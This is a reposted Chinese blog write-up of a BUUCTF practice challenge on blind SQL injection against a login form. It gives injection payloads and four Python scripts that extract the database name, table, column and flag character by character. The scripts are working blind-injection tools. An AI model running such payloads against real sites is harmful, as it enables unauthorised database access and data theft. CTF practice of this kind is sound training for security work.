首页 > 数据库技术 > 详细

N1BOOK SQL注入-2 ---BUUCTF

时间:2021-06-27 13:32:14      阅读:75      评论:0      收藏:0      [点我收藏+]

需要知道的知识点:
information_schema信息数据库
database()指的是数据库名
table_name指的是表名
table_schema是数据库的名称

技术分享图片
先随意打看看有没有信息,一般这种后台网址用户名很可能时admin,密码随意输入看看
技术分享图片
技术分享图片
根据上面的两个测试,我们知道,如果账户存在,那么提示的是账户或密码错误,不存在则提示账户不存在。
1.测试库名
/#号是注释其中的一个单引号
技术分享图片
测试库名长度:
name=1‘ or substr(database(),1,1)=‘n‘#&pass=asdasd
技术分享图片
技术分享图片
根据逻辑写出脚本:

import requests
import time

l = ‘qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{‘          #可能的字符
url = ‘http://dc879727-d344-4402-aee0-5d997fcf4208.node3.buuoj.cn/login.php‘
sql = "1‘ or substr(database(),%d,1)=‘%s‘#"             #构造的注入语句
flag = ‘‘
for num in range(1,5):           #根据库名长度进行循环
    for i in l:
        data = {                #构造字典数据
            ‘name‘ : sql %(num,i),          #把循环变量放入的sql语句中构造完整变化的sql语句
            ‘pass‘ : ‘asdasd‘
        }
        r = requests.post(url = url , data=data)        #对url提交post请求,data为用户名密码数据
        time.sleep(0.2)         #等待时间
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:     #根据回显确定库名
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

技术分享图片

2.爆破出表名
information_schema.tables存储了数据表的元数据信息,table_schema数据表所属的数据库名,table_name是具体的表名,substr()截断函数,
name=1‘ or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)=‘f‘#&pass=asdasd
技术分享图片
可以写出脚本:

import requests
import time
l = ‘qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{‘          #可能的字符
url = ‘http://1b1372ff-b5cb-4f72-98c5-bc9d1f4d321d.node3.buuoj.cn/login.php‘
#sql = "1‘ or substr(database(),%d,1)=‘%s‘#"             #构造的注入语句
sql = "1‘ or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)=‘%s‘#"
flag = ‘‘
for num in range(1,10):           #根据库名长度进行循环(因为不确定表名长度,我试着写长度稍微大点)
    for i in l:
        data = {                #构造字典数据
            ‘name‘ : sql %(num,i),          #把循环变量放入的sql语句中构造完整变化的sql语句
            ‘pass‘ : ‘asdasd‘
        }
        r = requests.post(url = url , data=data)        #对url提交post请求,data为用户名密码数据
        time.sleep(0.2)         #等待时间
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:     #根据回显确定库名
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

技术分享图片

3.爆破出字段名
column_name 数据库表中所有列的名称;group_concat对表名内容进行组合显示
1‘ or substr((seLEct group_concat(column_name) from information_schema.columns where table_name=‘fl4g‘),1,1)=‘f‘#&pass=asdasd
技术分享图片
根据返回的编码我们得到第一个字段名是f开头,写出如下脚本进行爆破:

import requests
import time

l = ‘qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{‘
url = ‘http://8454f388-49f3-4980-962b-7b7781dce053.node3.buuoj.cn/login.php‘
#sql = "1‘ or substr(database(),%d,1)=‘%s‘#"
#sql = "1‘ or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)=‘%s‘#"
sql = "1‘ or substr((seLEct group_concat(column_name) from information_schema.columns where table_name=‘fl4g‘),%d,1)=‘%s‘#"
flag = ‘‘
for num in range(1,13):
    for i in l:
        data = {
            ‘name‘ : sql %(num,i),
            ‘pass‘ : ‘asdasd‘
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

技术分享图片

4.爆破字段内容
1‘ or substr((seLEct flag from fl4g),1,1)=‘n‘#&pass=asdasd
技术分享图片
根据回显,我们继续得到字段内容为n开头,写出脚本爆破

import requests
import time

l = ‘qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{‘
url = ‘http://8454f388-49f3-4980-962b-7b7781dce053.node3.buuoj.cn/login.php‘
#sql = "1‘ or substr(database(),%d,1)=‘%s‘#"
#sql = "1‘ or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)=‘%s‘#"
#sql = "1‘ or substr((seLEct group_concat(column_name) from information_schema.columns where table_name=‘fl4g‘),%d,1)=‘%s‘#"
sql = "1‘ or substr((seLEct flag from fl4g),%d,1)=‘%s‘#&pass=asdasd"
flag = ‘‘
for num in range(1,30):
    for i in l:
        data = {
            ‘name‘ : sql %(num,i),
            ‘pass‘ : ‘asdasd‘
        }
        r = requests.post(url = url , data=data)
        time.sleep(0.2)
        if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
            flag += i
            print("flag:" , flag)
            break
print("flag:", flag)

技术分享图片
flag: n1book{login_sqli_is_nice}

N1BOOK SQL注入-2 ---BUUCTF

原文:https://www.cnblogs.com/xiaochaofang/p/14873459.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!